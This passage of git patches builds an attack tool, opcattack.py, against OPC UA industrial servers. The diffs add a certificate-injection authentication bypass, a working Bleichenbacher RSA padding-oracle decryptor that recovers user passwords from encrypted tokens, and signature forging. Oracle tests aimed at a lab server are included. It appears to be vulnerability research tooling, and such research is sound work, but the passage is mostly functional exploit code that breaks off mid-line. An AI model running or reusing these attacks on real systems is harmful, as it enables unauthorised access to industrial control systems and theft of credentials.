log(f'Attempting reflection attack against {url}') mycert, privkey = selfsign_cert(SELFSIGNED_CERT_TEMPLATE, cn, datetime.now() + timedelta(days=100)) @@ -874,13 +913,76 @@ def inject_cn_attack(url : str, cn : str, second_login : bool, demo : bool): endpoints = get_endpoints(url) log(f'Server advertises {len(endpoints)} endpoints.') - # Pick any endpoint, preferably with a non-None policy. - ep = max(endpoints, key=lambda ep: ep.securityPolicyUri != SecurityPolicy.NONE) + # Pick any with a non-None policy, preferably with None user authentication. + # Also prefer TCP over HTTPS endpoint; shouldn't matter much for attack, but former is easier to sniff. + ep = max(endpoints, key=lambda ep: [ + ep.securityPolicyUri != SecurityPolicy.NONE, + any(t.tokenType == UserTokenType.ANONYMOUS for t in ep.userIdentityTokens), + ep.transportProfileUri.endswith('uatcp-uasc-uabinary'), + ]) if ep.securityPolicyUri == SecurityPolicy.NONE: - log('All endpoints only use the None policy. Certificate may be ignored, byt trying attack anyway.') + raise AttackNotPossible('Server only supports None security policy.') - ..... + def trylogin(): + try: + proto, host, port = parse_endpoint_url(url) + if proto == TransportProtocol.TCP_BINARY: + sock = connect_and_hello(host, port) + chan = authenticated_opn(sock, ep, mycert, privkey) + log_success('Certificate was accepted during OPN handshake. Will now try to create a session with it.') + else: + assert proto == TransportProtocol.HTTPS + chan = url + + createreply = generic_exchange(chan, ep.securityPolicyUri, createSessionRequest, createSessionResponse, + requestHeader=simple_requestheader(), + clientDescription=applicationDescription.create( + applicationUri=cn, + productUri=cn, + applicationName=LocalizedText(text=cn), + applicationType=ApplicationType.CLIENT, + gatewayServerUri=None, + discoveryProfileUri=None, + discoveryUrls=[], + ), + serverUri=ep.server.applicationUri, + endpointUrl=ep.endpointUrl, + sessionName=None, + clientNonce=os.urandom(32), + clientCertificate=mycert, + requestedSessionTimeout=600000, + maxResponseMessageSize=2**24, + ) + log_success('CreateSessionRequest with certificate accepted.') + anon_policies = [p for p in login_endpoint.userIdentityTokens if p.tokenType == UserTokenType.ANONYMOUS] + if anon_policies: + log('Trying to activate session.') + activatereply = generic_exchange(chan, ep.securityPolicyUri, activateSessionRequest, activateSessionResponse, + requestHeader=simple_requestheader(createreply.authenticationToken), + clientSignature=rsa_sign(ep.securityPolicyUri, privkey, ep.serverCertificate + createreply.serverNonce), + clientSoftwareCertificates=[], + localeIds=[], + userIdentityToken=anonymousIdentityToken.create(policyId=anon_policies[0].policyId), + userTokenSignature=signatureData.create(algorithm=None,signature=None), + ) + log_success('Authentication with certificate was succesfull!') + return chan, activatereply.authenticationToken + else: + log(f'Server requires user authentication, which is not implemented for this attack. Will stop here.') + return None + except ServerError as err: + log(f'Login blocked. Server responsed with error {hex(err.errorcode)}.') + return None + + log(f'Trying to submit cert to endpoint {ep.endpointUrl}.') + chantoken = trylogin() + if not chantoken and second_login: + log('Trying the second authentication attempt...') + chantoken = trylogin() + + if chantoken and demo: + demonstrate_access(*chantoken, ep.securityPolicyUri) if __name__ == '__main__': diff --git a/crypto.py b/crypto.py index 60b5152..3d3c1fb 100644 --- a/crypto.py +++ b/crypto.py @@ -38,7 +38,7 @@ def rsa_plainblocksize(policy: SecurityPolicy, key : RsaKey) -> int: SecurityPolicy.AES256_SHA256_RSAPSS : 66, }[policy] - return pubkey.size_in_bytes() - padsize + return key.size_in_bytes() - padsize def rsa_getcipher(policy: SecurityPolicy, key : RsaKey) -> object: if policy == SecurityPolicy.NONE: @@ -176,13 +176,13 @@ def selfsign_cert(template : bytes, cn : str, expiry : datetime) -> tuple[bytes, cert.set_pubkey(key) subject = cert.get_subject() subject.commonName = cn + cert.set_issuer(subject) cert.set_subject(subject) # Set validity from three days ago until expiry. - cert.set_issuer(subject) asn1format = '%Y%m%d%H%M%SZ' - cert.set_notBefore((datetime.now() - timedelta(days=3)).strftime(asn1format)) - cert.set_notAfter(expiry.strftime(asn1format)) + cert.set_notBefore((datetime.now() - timedelta(days=3)).strftime(asn1format).encode()) + cert.set_notAfter(expiry.strftime(asn1format).encode()) # Sign with the private key. cert.sign(key, 'sha256') diff --git a/opcattack.py b/opcattack.py index c6caeeb..c4e6f1d 100755 --- a/opcattack.py +++ b/opcattack.py @@ -182,7 +182,7 @@ def add_arguments(self, aparser): def execute(self, args): - raise Exception('TODO: implement') + inject_cn_attack(args.url, args.cn, args.second_login, not args.no_demo) class NoAuthAttack(Attack): subcommand = 'auth-check' From 6ff42739e1aacf2420804124d206af3ba49c8832 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 18 Mar 2024 16:09:07 +0100 Subject: [PATCH 15/70] Decrypt command now works and gives nice output. --- attacks.py | 214 ++++++++++++++++++++++++++++++++------------------- crypto.py | 21 ++++- opcattack.py | 15 +++- 3 files changed, 165 insertions(+), 85 deletions(-) diff --git a/attacks.py b/attacks.py index fec03d0..2ae58d0 100644 --- a/attacks.py +++ b/attacks.py @@ -134,30 +134,39 @@ def unencrypted_opn(sock: socket) -> ChannelState: # Do a OPN protocol with a certificate and private key. def authenticated_opn(sock : socket, endpoint : endpointDescription.Type, client_certificate : bytes, privkey : RsaKey) -> ChannelState: sp = endpoint.securityPolicyUri + pk = certificate_publickey(endpoint.serverCertificate) if sp == SecurityPolicy.NONE: return unencrypted_opn(sock) else: client_nonce = os.urandom(32) - payload = encodedConversation.to_bytes(encodedConversation.create( - sequenceNumber=1, - requestId=1, - requestOrResponse=openSecureChannelRequest.to_bytes(openSecureChannelRequest.create( - requestHeader=simple_requestheader(), - clientProtocolVersion=0, - requestType=SecurityTokenRequestType.ISSUE, - securityMode=endpoint.securityMode, - clientNonce=client_nonce, - requestedLifetime=3600000, - )) + plaintext = encodedConversation.to_bytes(encodedConversation.create( + sequenceNumber=1, + requestId=1, + requestOrResponse=openSecureChannelRequest.to_bytes(openSecureChannelRequest.create( + requestHeader=simple_requestheader(), + clientProtocolVersion=0, + requestType=SecurityTokenRequestType.ISSUE, + securityMode=endpoint.securityMode, + clientNonce=client_nonce, + requestedLifetime=3600000, + )) )) - replymsg = opc_exchange(sock, OpenSecureChannelMessage( + msg = OpenSecureChannelMessage( secureChannelId=0, securityPolicyUri=sp, senderCertificate=client_certificate, receiverCertificateThumbprint=certificate_thumbprint(endpoint.serverCertificate), - encodedPart=rsa_ecb_encrypt(sp, certificate_publickey(endpoint.serverCertificate), payload) - )) + encodedPart=plaintext + ) + padded_msg = pkcs7_pad(msg.to_bytes(), rsa_plainblocksize(sp, pk)) + signature = rsa_sign(sp, privkey, padded_msg) + + msg.encodedPart = b'' + ciphertext = rsa_ecb_encrypt(sp, pk, padded_msg[len(msg.to_bytes()):] + signature) + msg.encodedPart = ciphertext + + replymsg = opc_exchange(sock, msg) convrep, _ = encodedConversation.from_bytes(rsa_ecb_decrypt(sp, privkey, reply.encodedPart)) resp, _ = openSecureChannelResponse.from_bytes(convrep.requestOrResponse) @@ -494,6 +503,9 @@ def query(self, ciphertext : bytes): if self._active: try: return self._attempt_query(ciphertext) + except KeyboardInterrupt as ex: + # Don't retry when user CTRL+C's. + raise ex except: # On any misc. exception, assume the connection is broken and reset it. try: @@ -612,10 +624,9 @@ def _attempt_query(self, ciphertext): except ServerError as err: # print(hex(err.errorcode)) if err.errorcode == 0x80200000: - print('.', end='', file=sys.stderr, flush=True) + # print('.', end='', file=sys.stderr, flush=True) return False elif err.errorcode == 0x80210000 or err.errorcode == 0x801f0000 or err.errorcode == 0x80b00000: - print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!', end='', file=sys.stderr, flush=True) return True else: raise err @@ -642,28 +653,6 @@ def pick_endpoint(clazz, endpoints): ) ) -def oracletest(): - # ctext1 = unhexlify('b78d809acebc0bd35dd12f06cc1e28638e1d0c1d06d51130cf2cf4f936c1431380496a79c8376eab9cf689469fd3caeb6c3c8da52881b60875294192de33ffb38270d1ba2ea55a8f160e05c723b6869c423c287a0776192aa88ef7a3344124072e6fba777803defd8b37cca3724d31a1c116b9c94e2f13a0565fa37a49096ecbc1f1418e4158ef359e23e77d7278b2ef6b770d6ce39cec7616564cdd065f14bd9542155a6e8fa8ba0b7353502cb5e5f081dce29adfb86763d32b567b28fbbc5e8026e85f0f5e89ac098fd25fa15f1e2d772e6b7fdbc5238a864fc230a3e8c2626f9cc5df42aeaa1237b5aa2cae9aa52ffa97e864eca72fe9803e4c4f68248ceeb5e72f0a9bd5c81dfea9933413c3ea89770a41c4e5c0f31649463ec0a1bdd177efa66845f14eba6733f149856079d9026f51719f94db72af5c597e27a7f3d8456a135085904ca25eeb258086667c7996ded096f4294e828958355e5d2b01e9991314e6cd3e0e15f10bc442109205db24d491d495600f79f2d4ac1c2dccda9eab5ecdf01337c8734ddb7cccceec4fb174243e1c9b17372807960170bd489c781d3e1878cd8e5fe2d8f3770e1acc24fc980188a07c8f3f1fd3c94ec431d9e1dfcbccc2c0e5ac74838b3d13ae1a0c55a19cc202c15500e15c0fbcb204e7c425bef947f1a184536909bab45bc0e02e5d6657bda740f99f9ceac20ea2ac4c7af7c6ab') - # ctext1 = unhexlify('b78d809acebc0bd35dd12f06cc1e28638e1d0c1d06d51130cf2cf4f936c1431380496a79c8376eab9cf689469fd3caeb6c3c8da52881b60875294192de33ffb38270d1ba2ea55a8f160e05c723b6869c423c287a0776192aa88ef7a3344124072e6fba777803defd8b37cca3724d31a1c116b9c94e2f13a0565fa37a49096ecbc1f1418e4158ef359e23e77d7278b2ef6b770d6ce39cec7616564cdd065f14bd9542155a6e8fa8ba0b7353502cb5e5f081dce29adfb86763d32b567b28fbbc5e8026e85f0f5e89ac098fd25fa15f1e2d772e6b7fdbc5238a864fc230a3e8c2626f9cc5df42aeaa1237b5aa2cae9aa52ffa97e864eca72fe9803e4c4f68248cee') - # ctext4 = unhexlify('8ba5227fca2967b591530cc68686ec123e3dafa63befc1841017be6a916abdfa7a947279b5426c300416e687029d1c8454044c3dfb96d8503f57cf3ef2817d56e7cbb77fe0446a752992e8eb9518cd7805af048e7083e49874180b0796ee0beed209bf3279b0f7405225f91aa33885571a973486b305c6f89c0a6d0d3e03f3632fce9ca12976c7ae4d7c0cf8ac0946ecb2d7072375ba35831fb3348dbddaa6c181342a6479619623d22faa0acc19fc0c26a86fa3ab834a4dd3cf7e661e809de3d5527e3d65cf1ee83112403e72920c741f5801e00db687f0fa1bc4651f65f5d69a0740058318c78691feed34898fc84ec40b72f34a2495b1ac857e3cd84861cb') - # ctext1 = unhexlify('b5e72f0a9bd5c81dfea9933413c3ea89770a41c4e5c0f31649463ec0a1bdd177efa66845f14eba6733f149856079d9026f51719f94db72af5c597e27a7f3d8456a135085904ca25eeb258086667c7996ded096f4294e828958355e5d2b01e9991314e6cd3e0e15f10bc442109205db24d491d495600f79f2d4ac1c2dccda9eab5ecdf01337c8734ddb7cccceec4fb174243e1c9b17372807960170bd489c781d3e1878cd8e5fe2d8f3770e1acc24fc980188a07c8f3f1fd3c94ec431d9e1dfcbccc2c0e5ac74838b3d13ae1a0c55a19cc202c15500e15c0fbcb204e7c425bef947f1a184536909bab45bc0e02e5d6657bda740f99f9ceac20ea2ac4c7af7c6ab') - # ctext2 = os.urandom(len(ctext1)) - - # Password token: - # todecrypt = unhexlify('9e82001c5a9b0d4ec8ed921af69659d8a3c8909bdb3be7bbf2f09a2321256deda98779fe8c182f476b06cf9592f2974b93a04fdbce82db34c2985c59ab71cce0f0987a35f2a4e0958411d40de4073ba00d223e5332ecaab0d5a850a1c97610cb2e42c7675d6a8eb3319ba95aabbed51014687bdf0edd417b47df2b4f348b6539ed1aa7bae5a4bd76ffe475a6d0ea54e51399996485c582615f55296411417f7c6db5aa8796653c47e503a00ce72a7e96e7c69ac52f5f200153cb585c6dc4119962ac004433da24f2347e75ee5fda60b507fde6c9197ad7f0aca65f3b6f91b51c8b0b501549aa10368ae7c4a2e2aeee1bb81bff8e3e6a9be7aa09b999ac641bc7') - # First half of OPN request: - # todecrypt = unhexlify('160dcd84074bc3ff604b383295132b658f9e8491c1dec934bc8e8bd5d8d3997a6ff1b1bdea125920c9e992d33c00a844dc4c6953d291468d1e306881ed37338e0990cef579f6673f1863232bb7e8c29717950d2424487d92dc7f95c8a89f91fa4b82d6bfbce8ecc3389697580db1e539f883f02cdddfc59382381cfe13e717d2571422558b2bf8d10337260cfa0b3ab42eb2bb6459dafcc47ebefa6a7e7236023a8f8ce2fb5b3553fedc2e7e5974a3e951e4afb5974e9ef44b094ebe9d7f52173bc5f0f10b6d93943a2f699349520b5ccde725650671ab4c54f8be66700d172f73513ddcd52e48f39111c884366d4a4aacdb213a6d6552c139d775a909b1e873') - # Encryption of 0x00021234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567890042: - todecrypt = unhexlify('af550d6983a8c885015af74701d4b0ef6f835ccc7fc71400e4347706d321d09f9a9fbfa5a55c7b2f781daa95d7c645ea94edbdd3652fe81279ff60a001675e0fea622afbc6ed36fe8b4b50e9d1a05caf37a209193ffe4131fff1f1e696e64af9b05af06f2bcc7313b022353ff2db984e3c473636aefa45c93ce8823297bc28eee9583f46eeaa8c23b57efdba0cbac4d1110c3d22a698f928c2974ee5a4048f26f57eb2a0d1755bfb0015f2668b4022eded7a26d544c351c7e12076579cb13a65ebfb71cff679780cab95e1bd1b8390fc28e6fb50f21ccbe86c6e213358bdee2996658b396a1a47326a7ec440e07283c6ca4308c1dec50379f90828599df7c7f5') - - ep = PasswordPaddingOracle.pick_endpoint(get_endpoints('opc.tcp://opc-testserver:62541/Quickstarts/ReferenceServer')) - assert ep - - oracle = PasswordPaddingOracle(ep) - # print(repr(oracle.query(todecrypt))) - # print(padding_oracle_quality(ep.serverCertificate, oracle)) - print(hexlify(rsa_decryptor(oracle, ep.serverCertificate, todecrypt))) - def int2bytes(value : int, outlen : int) -> bytes: # Coverts a nonnegative integer to a fixed-size big-endian binary representation. result = [0] * outlen @@ -680,8 +669,8 @@ def int2bytes(value : int, outlen : int) -> bytes: # Result is ciphertext**d mod n (encoded big endian; any padding not removed). # Can also be used for signature forging. # Maybe TODO: optimizations from https://eprint.iacr.org/2012/417.pdf -def rsa_decryptor(oracle : PaddingOracle, certificate : bytes, ciphertext : bytes) -> bytes: - # Bleicehnacher's original attack: https://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdf +def rsa_decryptor(oracle : PaddingOracle, certificate : bytes, ciphertext : bytes) -> bytes: + # Bleichenbacher's original attack: https://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdf clen = len(ciphertext) assert clen % 128 == 0 # Probably not an RSA ciphertext if the key size is not a multiple of 1024 bits. k = clen * 8 @@ -697,18 +686,31 @@ def rsa_decryptor(oracle : PaddingOracle, certificate : bytes, ciphertext : byte # B encodes as 00 01 00 00 00 .. 00 00 B = 2**(k-16) + + # Metrics for progress reporting. + query_count = 0 + i = 0 # Oracle function. def query(candidate): + nonlocal query_count + # Encode int as bigendian binary to submit it to the oracle. - return oracle.query(int2bytes(candidate, clen)) + result = oracle.query(int2bytes(candidate, clen)) + + # Report progress for every query. + query_count += 1 + spinnything = '/-\\|'[(query_count // 30) % 4] + print(f'[{spinnything}] Progress: iteration {i}; oracle queries: {query_count}', end='\r', file=sys.stderr, flush=True) + + return result # Division helper. ceildiv = lambda a,b: a // b + (a % b and 1) # Step 1: blinding. Find a random blind that makes the padding valid. Searching can be skipped if the ciphertext # already has valid padding. - print('step 1') + # print('step 1') if query(c): s0 = 1 c0 = c @@ -717,7 +719,7 @@ def query(candidate): s0 = randint(1, n) c0 = c * pow(s0, e, n) % n if query(c0): - print(f'c0={c0}', flush=True) + # print(f'c0={c0}', flush=True) break test_factor = lambda sval: query(c0 * pow(sval, e, n) % n) @@ -726,17 +728,10 @@ def query(candidate): i = 1 s_i = ceildiv(n, 3*B) - - - # # RESUME HACK - # i=5 - # s_i=10188737 - # M_i={(1442187950294427360552239522644390257790796338700903207741025109708355436659589056631457108816185462712575330480300534305338116012222011796256576892011557132283377870311064829108823429585109041005837627259672339140274327169866035191498952338390529965554588543860476478651241178020573557285056019076658637471561695299531779164480600328883326366695718020245430875778810317910178071399706834470366542548337500749168322690594977588324772533567614714495014500564158838389193044477833064672095962723010823314057508079434126660565075169145349628417580299080325519208852922467759422401892910048476794655722601165242511595, 1442187998692808707883757966589484615228158854430272457264462385237590648429221964227540135943179962006785538072016811481043006284419960593328545509052277891654272977622775757750050925216134153918039471350825757929510950421883343952056314027937732311417806221713648637310362984906602358596298151440428445510366068070484134141181819904111607068348898876531403209583470958198577974999226925743786544730284075515260168692765224048813459048054824643534759684571073701866524775071072820608311304384905061522885505136162600064154248834011387347592156403054787704914170375565416055996440260756732861444607631487618012313)} - # # r_i hack while True: # Step 2: searching for PKCS#1 conforming messages. - print(f'step 2; i={i}; s_i={s_i}; M_i={[(hex(a), hex(b)) for a,b in M_i]}', flush=True) + # print(f'step 2; i={i}; s_i={s_i}; M_i={[(hex(a), hex(b)) for a,b in M_i]}', flush=True) if i == 1: # 2a: starting the search. while not test_factor(s_i): @@ -750,10 +745,9 @@ def query(candidate): # 2c: searching with one interval left (a, b) = next(iter(M_i)) r_i = ceildiv(2 * (b * s_i - 2 * B), n) - # r_i = 103556 # HACK done = False while not done: - print(f'r_i={r_i}; {ceildiv(2 * B + r_i * n, b)} <= new_s < {ceildiv(3 * B + r_i * n, a)}', file=sys.stderr, flush=True) + # print(f'r_i={r_i}; {ceildiv(2 * B + r_i * n, b)} <= new_s < {ceildiv(3 * B + r_i * n, a)}', file=sys.stderr, flush=True) for new_s in range(ceildiv(2 * B + r_i * n, b), ceildiv(3 * B + r_i * n, a)): if test_factor(new_s): s_i = new_s @@ -762,7 +756,7 @@ def query(candidate): r_i += 1 # Step 3: Narrowing the set of solutions. - print(f'step 3; s_i={s_i}',flush=True) + # print(f'step 3; s_i={s_i}',flush=True) M_i = { (max(a, ceildiv(2*B+r*n, s_i)), min(b, (3*B-1+r*n) // s_i)) for a, b in M_i @@ -771,9 +765,10 @@ def query(candidate): # Step 4: Computing the solution. if len(M_i) == 1: - print(f'step 4',flush=True) + # print(f'step 4',flush=True) a, b = next(iter(M_i)) if a == b: + print('', file=sys.stderr, flush=True) m = a * pow(s0, n - 2, n) % n return bytes([(m >> bits) & 0xff for bits in reversed(range(0, k, 8))]) @@ -818,7 +813,9 @@ def padding_oracle_quality(certificate : bytes, oracle : PaddingOracle) -> int: # Perform the test. score = 0 - for padding_right, plaintext in testcases: + for i, (padding_right, plaintext) in enumerate(testcases): + progbar = '=' * (i // 2) + ' ' * (100 - i // 2) + print(f'[*] Progress: [{progbar}]', file=sys.stderr, end='\r', flush=True) if oracle.query(int2bytes(pow(plaintext, e, n), keylen)): if padding_right: # Correctly identified valid padding. @@ -826,9 +823,10 @@ def padding_oracle_quality(certificate : bytes, oracle : PaddingOracle) -> int: else: # Our Bleichenbacher attack can't deal with false negatives. return 0 - elif padding_right: - print(f'Missed {hexlify(int2bytes(plaintext, keylen))}') + # elif padding_right: + # print(f'Missed {hexlify(int2bytes(plaintext, keylen))}') + print(f'[*] Progress: [{"=" * 100}]', file=sys.stderr, flush=True) return score @@ -841,9 +839,9 @@ def find_padding_oracle(url : str, try_opn : bool, try_password : bool) -> tuple possible_oracles = [] if try_opn: - possible_oracles.add(('OPN', OPNPaddingOracle)) + possible_oracles.append(('OPN', OPNPaddingOracle)) if try_password: - possible_oracles.add(('Password', PasswordPaddingOracle)) + possible_oracles.append(('Password', PasswordPaddingOracle)) bestname, bestep, bestoracle, bestscore = None, None, None, 0 for oname, oclass in possible_oracles: @@ -851,9 +849,9 @@ def find_padding_oracle(url : str, try_opn : bool, try_password : bool) -> tuple if endpoint: log(f'Endpoint "{endpoint.endpointUrl}" qualifies for {oname} oracle.') log(f'Trying a bunch of known plaintexts to assess its quality and reliability...') - oracle = oclass(opn_endpoint) + oracle = oclass(endpoint) try: - quality = padding_oracle_quality(opn_endpoint.serverCertificate, opn_oracle) + quality = padding_oracle_quality(endpoint.serverCertificate, oracle) log(f'{oname} padding oracle score: {quality}/100') if quality == 100: log(f'Great! Let\'s use it.') @@ -864,7 +862,7 @@ def find_padding_oracle(url : str, try_opn : bool, try_password : bool) -> tuple except ServerError as err: log(f'Got server error {hex(err.errorcode)}. Don\'t know how to interpret it. Skipping {oname} oracle.') except Exception as ex: - log(f'Exception {ex} raised. Skipping {oname} oracle.') + log(f'Exception {type(ex).__name__} raised ("{ex}"). Skipping {oname} oracle.') else: log(f'None of the endpoints qualify for {oname} oracle.') @@ -874,20 +872,61 @@ def find_padding_oracle(url : str, try_opn : bool, try_password : bool) -> tuple else: raise AttackNotPossible(f'Can\'t find exploitable padding oracle.') -def pkcs1v15_signature_encode(hasher, msg, outlen): - # RFC 3447 signature encoding. - PKCS_HASH_IDS = { - 'sha256': b'\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20', - 'sha384': b'\x30\x41\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x02\x05\x00\x04\x30', - 'sha512': b'\x30\x51\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x03\x05\x00\x04\x40', - } +def decrypt_attack(url : str, ciphertext : bytes, try_opn : bool, try_password : bool): + # Use padding oracle to decrypt a ciphertext. + # Logs the result, and also tries parsing it. + + oracle, endpoint = find_padding_oracle(url, try_opn, try_password) + + log(f'Running padding oracle attack...') + result = rsa_decryptor(oracle, endpoint.serverCertificate, ciphertext) + log_success(f'Success! Raw result: {hexlify(result).decode()}') + + # Check how plaintext is padded and display unpadded version. + if result.startswith(b'\x00\x02') and b'\x00' not in result[2:9] and b'\x00' in result[10:]: + log(f'Plaintext uses PKCS#1v1.5 padding. Unpadded value:') + unpadded = result[(result[10:].find(b'\x00') + 11):] + else: + unpadded = decode_oaep_padding(result, 'sha1') + if unpadded is not None: + log('Plaintext uses OAEP padding (SHA-1 hash). Unpadded value:') + else: + unpadded = decode_oaep_padding(result, 'sha256') + if unpadded is not None: + log('Plaintext uses OAEP padding (SHA-256 hash). Unpadded value:') + + if unpadded is None: + if result.startswith(b'\x00\x01'): + log('Looks like the payload may be a signature instead of a ciphertext.') + else: + log('Result does not look like either PKCS#1v1.5 or OAEP padding. Maybe something went wrong?') + else: + log_success(hexlify(unpadded).decode()) + + # Check if this looks like a password. + try: + lenval, tail = IntField().from_bytes(unpadded) + if 32 <= lenval <= len(tail): + pwd = tail[:lenval-32].decode('utf8') + log('Looks like an encrypted UserIdentityToken with a password.') + log_success(f'Password: {pwd}') + return + except: + pass + + # Check if this looks like an OPN message. + for msgtype in [openSecureChannelRequest, openSecureChannelResponse]: + try: + convo, _ = encodedConversation.from_bytes(unpadded) + msg, _ = msgtype.from_bytes(convo.requestOrResponse) + log('Looks like an OPN message:') + log_success(f'{repr(msg)}') + return + except: + pass - mhash = hashlib.new(hasher, msg).digest() - suffix = PKCS_HASH_IDS[hasher] + mhash - padding = b'\xff' * (outlen - len(suffix) - 3) - return int2bytes(b'\x00\x01' + padding + b'\x00' + suffix, outlen) -def forge_signature_attack(url : str, payload : bytes, try_opn : bool, try_password : bool) -> bytes: +def forge_signature_attack(url : str, payload : bytes, try_opn : bool, try_password : bool, hasher : str) -> bytes: # Use padding oracle to forge an RSA PKCS#1 signature on some arbitrary payload. # Logs and returns signature. @@ -895,7 +934,7 @@ def forge_signature_attack(url : str, payload : bytes, try_opn : bool, try_passw # Compute padded hash to be used as 'ciphertext'. sizsize = certificate_publickey(endpoint.serverCertificate).size_in_bytes() - padhash = pkcs1v15_signature_encode('sha256', payload, sigsize) + padhash = pkcs1v15_signature_encode(hasher, payload, sigsize) log(f'Padded hash of payload: {hexlify(padhash)}') log(f'Starting padding oracle attack...') sig = rsa_decryptor(oracle, endpoint.serverCertificate, padhash) @@ -984,6 +1023,23 @@ def trylogin(): if chantoken and demo: demonstrate_access(*chantoken, ep.securityPolicyUri) - -if __name__ == '__main__': - oracletest() \ No newline at end of file + +def oracletest(): + # Password token: + todecrypt = unhexlify('9e82001c5a9b0d4ec8ed921af69659d8a3c8909bdb3be7bbf2f09a2321256deda98779fe8c182f476b06cf9592f2974b93a04fdbce82db34c2985c59ab71cce0f0987a35f2a4e0958411d40de4073ba00d223e5332ecaab0d5a850a1c97610cb2e42c7675d6a8eb3319ba95aabbed51014687bdf0edd417b47df2b4f348b6539ed1aa7bae5a4bd76ffe475a6d0ea54e51399996485c582615f55296411417f7c6db5aa8796653c47e503a00ce72a7e96e7c69ac52f5f200153cb585c6dc4119962ac004433da24f2347e75ee5fda60b507fde6c9197ad7f0aca65f3b6f91b51c8b0b501549aa10368ae7c4a2e2aeee1bb81bff8e3e6a9be7aa09b999ac641bc7') + # First half of OPN request: + # todecrypt = unhexlify('160dcd84074bc3ff604b383295132b658f9e8491c1dec934bc8e8bd5d8d3997a6ff1b1bdea125920c9e992d33c00a844dc4c6953d291468d1e306881ed37338e0990cef579f6673f1863232bb7e8c29717950d2424487d92dc7f95c8a89f91fa4b82d6bfbce8ecc3389697580db1e539f883f02cdddfc59382381cfe13e717d2571422558b2bf8d10337260cfa0b3ab42eb2bb6459dafcc47ebefa6a7e7236023a8f8ce2fb5b3553fedc2e7e5974a3e951e4afb5974e9ef44b094ebe9d7f52173bc5f0f10b6d93943a2f699349520b5ccde725650671ab4c54f8be66700d172f73513ddcd52e48f39111c884366d4a4aacdb213a6d6552c139d775a909b1e873') + # Encryption of 0x00021234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567890042: + # todecrypt = unhexlify('af550d6983a8c885015af74701d4b0ef6f835ccc7fc71400e4347706d321d09f9a9fbfa5a55c7b2f781daa95d7c645ea94edbdd3652fe81279ff60a001675e0fea622afbc6ed36fe8b4b50e9d1a05caf37a209193ffe4131fff1f1e696e64af9b05af06f2bcc7313b022353ff2db984e3c473636aefa45c93ce8823297bc28eee9583f46eeaa8c23b57efdba0cbac4d1110c3d22a698f928c2974ee5a4048f26f57eb2a0d1755bfb0015f2668b4022eded7a26d544c351c7e12076579cb13a65ebfb71cff679780cab95e1bd1b8390fc28e6fb50f21ccbe86c6e213358bdee2996658b396a1a47326a7ec440e07283c6ca4308c1dec50379f90828599df7c7f5') + + ep = PasswordPaddingOracle.pick_endpoint(get_endpoints('opc.tcp://opc-testserver:62541/Quickstarts/ReferenceServer')) + assert ep + + oracle = PasswordPaddingOracle(ep) + # print(repr(oracle.query(todecrypt))) + # print(padding_oracle_quality(ep.serverCertificate, oracle)) + print(hexlify(rsa_decryptor(oracle, ep.serverCertificate, todecrypt))) + + +# if __name__ == '__main__': +# oracletest() \ No newline at end of file diff --git a/crypto.py b/crypto.py index 3d3c1fb..33e5791 100644 --- a/crypto.py +++ b/crypto.py @@ -116,10 +116,10 @@ def oneside(secret, seed): serverKeys=oneside(clientNonce, serverNonce) ) -def pkcs7_pad(message : bytes, blocksize) -> bytes: +def pkcs7_pad(message : bytes, blocksize : int) -> bytes: return pad(message, blocksize) -def pkcs7_unpad(message : bytes, blocksize) -> bytes: +def pkcs7_unpad(message : bytes, blocksize : int) -> bytes: return unpad(message, blocksize) def aes_cbc_encrypt(key : bytes, iv : bytes, padded_plaintext : bytes) -> bytes: @@ -190,3 +190,20 @@ def selfsign_cert(template : bytes, cn : str, expiry : datetime) -> tuple[bytes, # Convert key to pycryptodrome object. keybytes = crypto.dump_privatekey(crypto. FILETYPE_ASN1, key) return crypto.dump_certificate(crypto.FILETYPE_ASN1, cert), import_key(keybytes) + +def decode_oaep_padding(payload : bytes, hashfunc : str) -> Optional[bytes]: + # Returns None if padding is invalid. + raise Exception('TODO: implement OAEP unpadding.') + +def pkcs1v15_signature_encode(hasher, msg, outlen): + # RFC 3447 signature encoding. + PKCS_HASH_IDS = { + 'sha256': b'\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20', + 'sha384': b'\x30\x41\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x02\x05\x00\x04\x30', + 'sha512': b'\x30\x51\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x03\x05\x00\x04\x40', + } + + mhash = hashlib.new(hasher, msg).digest() + suffix = PKCS_HASH_IDS[hasher] + mhash + padding = b'\xff' * (outlen - len(suffix) - 3) + return int2bytes(b'\x00\x01' + padding + b'\x00' + suffix, outlen) \ No newline at end of file diff --git a/opcattack.py b/opcattack.py index c4e6f1d..c5743a4 100755 --- a/opcattack.py +++ b/opcattack.py @@ -227,15 +227,20 @@ class DecryptAttack(Attack): """.strip() def add_arguments(self, aparser): - aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), + aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), default='try-both', help='which PKCS#1 padding oracle to use; default: try-both') - aparser.add_argument('server-url', type=str, + aparser.add_argument('url', type=str, help='endpoint URL of the OPC UA server owning the RSA key pair the ciphertext was produced for') aparser.add_argument('ciphertext', type=str, help='hex-encoded RSA-encrypted ciphertext; either OAEP or PKCS#1') def execute(self, args): - raise Exception('TODO: implement') + opn, password = 